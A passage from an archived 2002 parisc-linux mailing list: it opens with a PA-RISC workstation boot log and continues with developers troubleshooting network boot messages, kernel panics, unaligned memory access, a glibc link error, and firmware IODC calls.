36. Raven Backplane Wax HIL (10) at 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x7
3
37. Raven Backplane RS-232 (10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c
38. Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions 0x17, 0x0,
 0x90,  additional addresses: 0xfc00000b 
39. Gecko GSC Core Graphics (10) at 0xfa000000 [8/24], versions 0x16, 0x0, 0x85
40. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc
ccio found U2 at 0xfff8a000
io_io_low: 0xf1000000
41. Coral SGC Graphics (10) at 0xf8000000 [10/8], versions 0x4, 0x0, 0x77
42. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1, 0xc
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
Dino version 2.1 found at 0xf2000000
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.
Systems shipped after Aug 20, 1997 will not exhibit this problem.
Models affected: C180, C160, C160L, B160L, and B132L workstations.

Dino: No PCI devices enabled.
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f0084000, hpa=fa000000
STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
STI byte mode ROM at f8000000, hpa=f8000000
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B_LZ
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 2d08c0a7, mmio: 0xfa100000
fb1: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI en
abled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf2003800 (irq = 138) is a 16550A
ttyS02 at iomem 0xffe02800 (irq = 121) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
Found HIL at 0xffe01000, IRQ 126
IRQ:  CPU:0 No handler for IRQ 35 !
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x17, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xffd07000, IRQ 87
eth0: 82596 at 0xffd07000, 00 60 B0 18 9B B9 IRQ 87.
82596.c $Revision: 1.26 $
SCSI subsystem driver Revision: 1.00
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 35
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST32171W          Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi1: (1:0) Synchronous at offset 8, period 100ns
  Vendor: SONY      Model: SDT-7000          Rev: 0150
  Type:   Sequential-Access                  ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 6, lun 0
ncr53c720-0-<5,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)
SCSI device sdb: 4194685 512-byte hdwr sectors (2148 MB)
 sdb: sdb1 sdb2 < sdb5 > sdb3
Lasi Harmony Audio rev. 2 at 0xffd04000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 8192 buckets, 64Kbytes
TCP: Hash tables configured (established 262144 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
INIT: version 2.84 booting
Activating swap.
Adding Swap: 749788k swap-space (priority -1)
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sdb5: clean, 3167/166496 files, 32915/332312 blocks
System time was Fri Nov 13 19:56:56 UTC 1992.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Fri Nov 13 19:57:04 UTC 1992.
Calculating module dependencies... done.
Loading modules: 
Note: /etc/modules.conf is more recent than /lib/modules/2.4.9-32/modules.dep
modprobe: Can't locate module *
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda1: clean, 21754/524288 files, 116146/1048265 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda1 on /usr type ext2 (rw)
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: eth0: Transceiver problem.
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16


Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Fri Nov 13 13:57:56 CST 1992


Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting DHCP server: dhcp.
Starting internet superserver: inetd.
/usr/share/sendmail/sendmail not found/executable, aborting.
Starting OpenBSD Secure Shell server: sshd.
Starting periodic command scheduler: cron.

-----------------END BOOT INFO----------------



From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Gcc-3.2 beside gcc-3.0: HOWTO?
Date: Mon, 2 Sep 2002 09:44:24 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020902164424.GE14634@tausq.org>
References: <20020902152137.GG25710@tausq.org> <3D3815BD0000A8AE@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621674 13241 80.91.229.3 (22 Nov 2014 02:01:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 10:40:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A0124829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 10:40:50 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 87B40CD92F; Mon,  2 Sep 2002 09:44:24 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D3815BD0000A8AE@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15987

> Oops the 32bits kernel which I obtain, boot well on my b2k but ip connection
> problem is always there: the system seems to loop somewhere with ssh (heart
> bit seems life and no more response neither at serial console, neither at
> ssh prompt) and telnet causes an HPMC (bus timeout?)

looking up the iaoq and gr02 values reported in the hpmc in System.map 
would be the first step...

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Network Problems
Date: Mon,  2 Sep 2002 11:38:20 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <200209021138.AA3341287994@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621674 13242 80.91.229.3 (22 Nov 2014 02:01:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 10:41:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (gapserver.centraltx.com [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE0634829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 10:41:53 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15988

Anyone have any ideas why I get innundated with these messages on
startup and have to do a control-c to get past this part and continue booting?

Configuring network interfaces: eth0: Transceiver problem.
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16
ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN 
skb: pf=2 (unowned) dev=lo len=328
PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16



From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel Panic
Date: Mon, 2 Sep 2002 09:51:14 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020902165114.GF14634@tausq.org>
References: <200209021137.AA3784507924@mail.centraltx.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621674 13245 80.91.229.3 (22 Nov 2014 02:01:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 10:47:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E3A14829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 10:47:37 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C022ACD92F; Mon,  2 Sep 2002 09:51:14 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200209021137.AA3784507924@mail.centraltx.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15989

In reference to a message from marc , dated Sep 02:
> Guys, I'm getting a kernel panic after trying to access my tape drive.
> Can anyone help me out? I tried to post all relevant info, let me know
> if I can provide anything else:

first step would be to try a newer kernel. 2.4.9 is very old :-)

you can either compile stuff from cvs (instructions on the
www.parisc-linux.org website), or grab a precompiled one either from
debian or ftp://ftp.parisc-linux.org/kernels/32/32-2.4.19-pa9.tar.gz

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Mon, 02 Sep 2002 11:28:54 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20020902172854.C73F44829@dsl2.external.hp.com>
References: <3D3815BD0000A476@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621675 13247 80.91.229.3 (22 Nov 2014 02:01:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:15 +0000 (UTC)
Cc: "Joel Soete" <joel.soete@freebel.net>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 11:28:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C73F44829; Mon,  2 Sep 2002 11:28:54 -0600 (MDT)
In-Reply-To: Message from jsoe0708@tiscali.be 
   of "Mon, 02 Sep 2002 10:47:59 +0200." <3D3815BD0000A476@ocpmta5.be.tiscali.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15990

jsoe0708@tiscali.be wrote:
> >Since start_sect and nr_sects are ints, this code will also generate an
> >"unaligned data reference fault" like the original code did.
> 
> Trust me it does not? (it works fine)

then I'll wager there is padding between the char and int fields
of that struct.

> >You need
> >to find the origin of "struct partition *p" when the address is un-aligned.
> >
> Very hard to define:
> a. the previous code works (again all odds)
> b. the following trial code:
...

> int main(int argc, char * * argv, char * * env) {
> 
>     struct partition p1, p2;

...
> did not reproduce the problem.

Things on the stack (local var) are properly aligned.
Malloc a block of mem and then point to an unaligned address
in that block.

> What can I do to analyse this problem? (printing all p addresses and its
> elements
> during a run with the original code and compare with a run with modified
> code?)

yes. You want to verify the addreses are unaligned.

grant


From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status update hppa - glibc 2.2.92 (Problems with __divdi3)
Date: Mon, 2 Sep 2002 19:47:52 -0400
Lines: 74
Approved: news@gmane.org
Message-ID: <20020902234752.GA6718@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621675 13248 80.91.229.3 (22 Nov 2014 02:01:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 17:47:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39B774829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Sep 2002 17:47:56 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17m0vA-0001mW-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 02 Sep 2002 19:47:52 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (83% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15991

p-l,

I've already posted the same thing on debian-glibc.

a. 'cvs co' from glibc upstream cvs (2.2.92)
b. Apply debian patches from 0list
c. Fix things

Preliminary modified patches for hppa are at:
http://www.baldric.uwo.ca/~carlos/glibc-2.3/glibc23-hppa-pthreads.dpatch
http://www.baldric.uwo.ca/~carlos/glibc-2.3/glibc23-hppa-rela.dpatch

These replace the previous glibc22-* patches of the same name.

Please do _NOT_ accept these as final versions, I'm presenting them
for anyone who may want to attempt to recreate or verify my problem.

Current build issues are:

gcc-3.2 -nostdlib -nostartfiles -o /mnt/flaire/src/glibc-upstream-cvs/libc-=
build/iconv/iconvconfig  -Wl,-dynamic-linker=3D/lib/ld.so.1    /mnt/flaire/=
src/glibc-upstream-cvs/libc-build/csu/crt1.o /mnt/flaire/src/glibc-upstream=
-cvs/libc-build/csu/crti.o `gcc-3.2 --print-file-name=3Dcrtbegin.o` /mnt/fl=
aire/src/glibc-upstream-cvs/libc-build/iconv/iconvconfig.o /mnt/flaire/src/=
glibc-upstream-cvs/libc-build/iconv/strtab.o /mnt/flaire/src/glibc-upstream=
-cvs/libc-build/iconv/xmalloc.o  -Wl,-rpath-link=3D/mnt/flaire/src/glibc-up=
stream-cvs/libc-build:/mnt/flaire/src/glibc-upstream-cvs/libc-build/math:/m=
nt/flaire/src/glibc-upstream-cvs/libc-build/elf:/mnt/flaire/src/glibc-upstr=
eam-cvs/libc-build/dlfcn:/mnt/flaire/src/glibc-upstream-cvs/libc-build/nss:=
/mnt/flaire/src/glibc-upstream-cvs/libc-build/nis:/mnt/flaire/src/glibc-ups=
tream-cvs/libc-build/rt:/mnt/flaire/src/glibc-upstream-cvs/libc-build/resol=
v:/mnt/flaire/src/glibc-upstream-cvs/libc-build/crypt:/mnt/flaire/src/glibc=
-upstream-cvs/libc-build/linuxthreads /mnt/flaire/src/glibc-upstream-cvs/li=
bc-build/libc.so.6 /mnt/flaire/src/glibc-upstream-cvs/libc-build/libc_nonsh=
ared.a -lgcc `gcc-3.2 --print-file-name=3Dcrtend.o` /mnt/flaire/src/glibc-u=
pstream-cvs/libc-build/csu/crtn.o
/mnt/flaire/src/glibc-upstream-cvs/libc-build/libc.so.6: undefined referenc=
e to `__divdi3_internal'
collect2: ld returned 1 exit status
make[2]: *** [/mnt/flaire/src/glibc-upstream-cvs/libc-build/iconv/iconvconf=
ig] Error 1
make[2]: Leaving directory `/mnt/flaire/src/glibc-upstream-cvs/libc/iconv'
make[1]: *** [iconv/others] Error 2
make[1]: Leaving directory `/mnt/flaire/src/glibc-upstream-cvs/libc'
make: *** [all] Error 2

I have _no_ idea what is going on here, I have to begin digging at:

http://sources.redhat.com/ml/glibc-cvs/2002-q3/msg00325.html (Shows the che=
ckin)

libc/sysdeps/wordsize-32/lldiv.c shows:
     24 #ifdef SHARED
     25 /* This is an ugly trick.  We cause the C code generated for the co=
de
     26    in lldiv.c to use __divdi3_internal instead of __divdi3 by defin=
ing
     27    an alias on the assembler level.  */
     28 asm ("__divdi3 =3D __divdi3_internal");
     29 #endif

objdump -t /mnt/flaire/src/glibc-upstream-cvs/libc-build/libc.so.6 | grep d=
ivdi3
001173d4 l     F .text  00000028              __udivdi3
00000000         *UND*  00000000              __divdi3_internal

It's clearly not there :}

If anyone understands... a hint would be most helpful=20

Cheers,
c.



From - Thu Nov 08 21:24:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iodc call and HPMC: dump driver.
Date: Mon, 02 Sep 2002 21:42:12 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <20020903034212.A638A4829@dsl2.external.hp.com>
References: <3D73014A.15ED96ED@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621675 13250 80.91.229.3 (22 Nov 2014 02:01:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:15 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep  2 21:42:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A638A4829; Mon,  2 Sep 2002 21:42:12 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Mon, 02 Sep 2002 08:12:26 +0200." <3D73014A.15ED96ED@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15992

Bruno Vidal wrote:
> 	Hi all.
> Do you know a guy who is a guru of iodc calls ?

I'm not expert, but I've mucked with it abit.

> I'm still stuck with this. I think I was really near the
> solution. Now my iodc call create beatifull HPMC.

Which platform are you testing on?
32 or 64-bit kernel?

> Take a look to this call, I was thinking that it
> was all right, but there is still something wrong.
> now i'm able to retrieve hpa,
> I based this on palo code:
> 
> ret =  real32_call(PAGE0->mem_boot.iodc_io, (unsigned long)PAGE0->mem_boot.hp
>   a, DUMPDEV_WRITE,
